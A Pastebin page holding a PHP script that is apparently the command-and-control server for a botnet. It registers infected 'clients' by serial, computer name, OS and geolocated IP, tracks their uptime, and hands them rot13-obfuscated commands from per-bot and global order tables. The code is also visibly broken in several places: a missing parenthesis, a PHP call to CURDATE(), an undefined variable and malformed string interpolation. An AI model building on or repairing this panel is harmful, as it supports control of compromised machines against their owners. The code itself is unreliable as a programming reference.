Advertisement
Guest User

Untitled

a guest
Jun 2nd, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.43 KB | None | 0 0
  1. <?PHP
  2.     // file: info.php
  3.    
  4.     include("geoip.inc"); // for the geoip function
  5.    
  6.     function isRowEmpty($row)
  7.     {
  8.         foreach($row as $a)
  9.         {
  10.             if(!empty($a))
  11.             {
  12.             return false;
  13.             }
  14.         }
  15.         return true;
  16.     }
  17.  
  18.     function sanitize($data)
  19.     {
  20.         // remove whitespaces (not a must though)
  21.         $data = trim($data);
  22.  
  23.         // apply stripslashes if magic_quotes_gpc is enabled
  24.         if(get_magic_quotes_gpc())
  25.         {
  26.             $data = stripslashes($data);
  27.         }
  28.  
  29.         // a mySQL connection is required before using this function
  30.         $data = mysql_real_escape_string($data);
  31.  
  32.         return $data;
  33.     }
  34.    
  35.     // database connection information
  36.     $database = "database_name";
  37.     $user = "user_name";
  38.     $password = "Pa$$worD";
  39.     $host = "localhost";
  40.  
  41.     // connect to the database
  42.     $mysql = mysql_connect( $host, $user, $password );
  43.     mysql_select_db( $database );
  44.    
  45.     /*
  46.  
  47.     $sql = "CREATE TABLE IF NOT EXISTS `clients` (
  48.     `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
  49.     `registered_time` TIMESTAMP NOT NULL,
  50.     `serial` varchar(25) NOT NULL,
  51.     `comp_name` varchar(128) NOT NULL,
  52.     `os` varchar(5) NOT NULL,
  53.     `delay` bigint(20) NOT NULL,
  54.     `report_time` TIMESTAMP NOT NULL,
  55.     `lastorder_id` bigint(10),
  56.     `uptime` varchar(128) NOT NULL,
  57.     `online_uptime` tinyint(3) DEFAULT 0,
  58.     `ip` varchar(15) NOT NULL,
  59.     `country_code` varchar(5) NOT NULL,
  60.     `country_name` varchar(20) NOT NULL,
  61.     `version` varchar(10) NOT NULL
  62.     ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1";
  63.     $result = mysql_query( $sql );
  64.  
  65.     $sql = "CREATE TABLE IF NOT EXISTS `global_orders` (
  66.     `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
  67.     `order` varchar(128),
  68.     `order_time` TIMESTAMP NOT NULL,
  69.     `exp_date` DATE NOT NULL
  70.     ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1";
  71.     $result = mysql_query( $sql );
  72.  
  73.     $sql = "CREATE TABLE IF NOT EXISTS `orders` (
  74.     `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
  75.     `clientid` bigint(20) unsigned NOT NULL,
  76.     `order` varchar(128),
  77.     `order_time` TIMESTAMP NOT NULL
  78.     ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1";
  79.     $result = mysql_query( $sql );
  80.  
  81.     */
  82.  
  83.     $buffer_crypted = sanitize($_GET['sid']);
  84.     $buffer_clear = str_rot13($buffer_crypted);
  85.  
  86.     // decrypted buffer in this format h6Yht56RfT:UncleBoB-PC:WIN7:50000:m1.0:7653332:22
  87.     //                                  $serial:$comp_name:$os:$delay:$version:$uptime:$lastorder_id
  88.    
  89.     $serial = strtok($buffer_clear, ":");
  90.     $comp_name = strtok(":");
  91.     $os = strtok(":");
  92.     $delay = strtok(":");
  93.     $version = strtok(":");
  94.     $uptime = strtok(":");
  95.     $lastorder_id = strtok(":");
  96.     $ip = getenv("REMOTE_ADDR");
  97.    
  98.     // sanitize ints
  99.     $delay = intval($delay);
  100.     $uptime = intval($uptime);
  101.  
  102.     // format uptime
  103.     $minsuptime = $uptime % 60;
  104.    
  105.     if ( $minsuptime > 1 )
  106.     {
  107.         $minsuptime = $minsuptime." Minutes";
  108.     }
  109.     else
  110.     {
  111.         $minsuptime = $minsuptime." Minute";
  112.     }
  113.    
  114.     $hoursuptime = $uptime / 60 % 24;
  115.    
  116.     if ( $hoursuptime > 1 )
  117.     {
  118.         $hoursuptime = $hoursuptime." Hours";
  119.     }
  120.     else
  121.     {
  122.         $hoursuptime = $hoursuptime." Hour";
  123.     }
  124.    
  125.     $daysuptime = $uptime / 60 / 24 % 7;
  126.    
  127.     if ( $daysuptime > 1 )
  128.     {
  129.         $daysuptime = $daysuptime." Days";
  130.     }
  131.     else
  132.     {
  133.         $daysuptime = $daysuptime." Day";
  134.     }
  135.    
  136.     $weeksuptime = $uptime / 60 / 24 / 7 % 52;
  137.    
  138.     if ( $daysuptime > 1 )
  139.     {
  140.         $weeksuptime = $weeksuptime." Weeks";
  141.     }
  142.     else
  143.     {
  144.         $weeksuptime = $weeksuptime." Week";
  145.     }
  146.    
  147.     $uptimeformated = $weeksuptime.", ".$daysuptime.", ".$hoursuptime.", ".$minsuptime;
  148.  
  149.  
  150.     // geolocate IP
  151.     $gi = geoip_open("GeoIP.dat",GEOIP_STANDARD);
  152.     $country_code = geoip_country_code_by_addr($gi, $ip);
  153.     $country_name = geoip_country_name_by_addr($gi, $ip);
  154.     geoip_close($gi);
  155.  
  156.     if( $serial != NULL )
  157.     {
  158.         // populate SQL table
  159.         $sql = "SELECT * FROM clients WHERE serial LIKE '$serial'";
  160.         $result = mysql_query( $sql );
  161.         if( mysql_num_rows( $result ) )
  162.         {
  163.             // update info if in the clients table
  164.            
  165.             // calculate the online_uptime
  166.             /*
  167.             1st connect ( time = a ) // bot has been online for 0
  168.  
  169. registered_time = a
  170. report_time = a
  171. online_uptime = 0
  172.  
  173.  
  174. 2nd connect ( time = b ) bot has been online for ( b - a )
  175.  
  176. registered_time = a
  177. report_time = b
  178. online_uptime = online_uptime(0) + (b - a)
  179.  
  180. 3rd connect ( time = c ) bot has been online for ( (b - a) + ( c - b )
  181.  
  182. registered_time = a
  183. new report_time = c
  184. online_uptime = previous online_uptime + ( new report_time - previous report_time )
  185.             */
  186.            
  187.             $row = mysql_fetch_array( $result );
  188.             $online_uptime_secs = $row['online_uptime'] + $report_time - $row['report_time']; // cummulative client uptime
  189.             $sql = "SELECT create_time FROM INFORMATION_SCHEMA.TABLES WHERE table_name = 'clients'";
  190.             $result = mysql_query( $sql );
  191.             $row = mysql_fetch_array( $result ); // stores clients table creation time
  192.             $table_uptime = time() - strtotime($row[0]); // total uptime
  193.            
  194.             $online_uptime = ( 1 - ( ( $table_uptime - $online_uptime_secs ) / $table_uptime ) ) * 100; // uptime in %
  195.            
  196.            
  197.             $sql = "UPDATE clients SET report_time=NULL, version='$version', online_uptime='$online_uptime', uptime='$uptimeformated', delay='$delay', ip='$ip', country_code='$country_code', country_name='$country_name', lastorder_id='$lastorder_id' WHERE serial LIKE '$serial'";
  198.             $result = mysql_query( $sql );
  199.            
  200.             // get the id of the connected client
  201.             $sql = "SELECT * FROM clients WHERE serial LIKE '$serial'";
  202.             $result = mysql_query( $sql );
  203.             $row = mysql_fetch_array( $result );
  204.             $clientid = $row['id'];
  205.  
  206.             // checks the orders table to see if there is a specific order for this client
  207.             $sql = "SELECT * FROM orders WHERE clientid LIKE '$clientid'";
  208.             $result = mysql_query( $sql );
  209.             $row = mysql_fetch_array( $result ); // stores the row that contains the order information for that specific client
  210.            
  211.             if (!isRowEmpty($row) // if there is a specific bot command prints it out
  212.             {
  213.                 // echo the command to the client and clear it from the orders table
  214.                 echo ">".str_rot13($row['order'])."<\n";
  215.                 $id = $row['id'];
  216.                 $sql = "DELETE FROM orders WHERE id LIKE '$id'";
  217.                 mysql_query( $sql );
  218.             }
  219.             else // grabs the next command it hasn't done in the global_orders table
  220.             {
  221.                 // if lastorder_id = 0 then same but no where stuff, just to get the first row of the table
  222.                 if ($lastorder_id == 0)
  223.                 {
  224.                     $sql = "SELECT * FROM global_orders";
  225.                     $result = mysql_query( $sql );
  226.                     $row = mysql_fetch_array( $result ); // stores the first row in global_orders
  227.                    
  228.                     if ( CURDATE() < $row['exp_date'] ) // check if the command is old or not
  229.                     {
  230.                         echo ">".str_rot13($row['order'])."<\n"; // echo the command to the client
  231.                         $sql = "UPDATE clients SET lastorder_id='$row['id']' WHERE serial LIKE '$serial'"; 
  232.                     }  
  233.                 }
  234.                 else
  235.                 {
  236.                     // check if the command is old or not to implement
  237.                     $sql = "SELECT * FROM global_orders WHERE id LIKE '$lastorder_id + 1'";
  238.                     $result = mysql_query( $sql );
  239.                     $row = mysql_fetch_array( $result ); // stores the row that contains the order information
  240.                    
  241.                     if ( CURDATE() < $row['exp_date'] ) // check if the command is old or not
  242.                     {
  243.                         echo ">".str_rot13($row['order'])."<\n"; // echo the command to the client
  244.                         $sql = "UPDATE clients SET lastorder_id='$row['id']' WHERE serial LIKE '$serial'";
  245.                     }  
  246.                 }
  247.             }
  248.         }
  249.         else
  250.         {
  251.             // else insert info into the clients table
  252.             $sql = "INSERT INTO clients ( comp_name, serial, os, ip, country_code, country_name, delay, version, uptime, lastorder_id ) VALUES ( '$comp_name ', '$serial', '$os', '$ip', '$country_code', '$country_name', '$delay', '$version', '$uptimeformated', '$lastorder_id' )";
  253.             if( mysql_query( $sql ) )
  254.                 echo ">ADDED<\n"; // allows the client to know it was succesfully added if needed
  255.         }
  256.     }      
  257. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement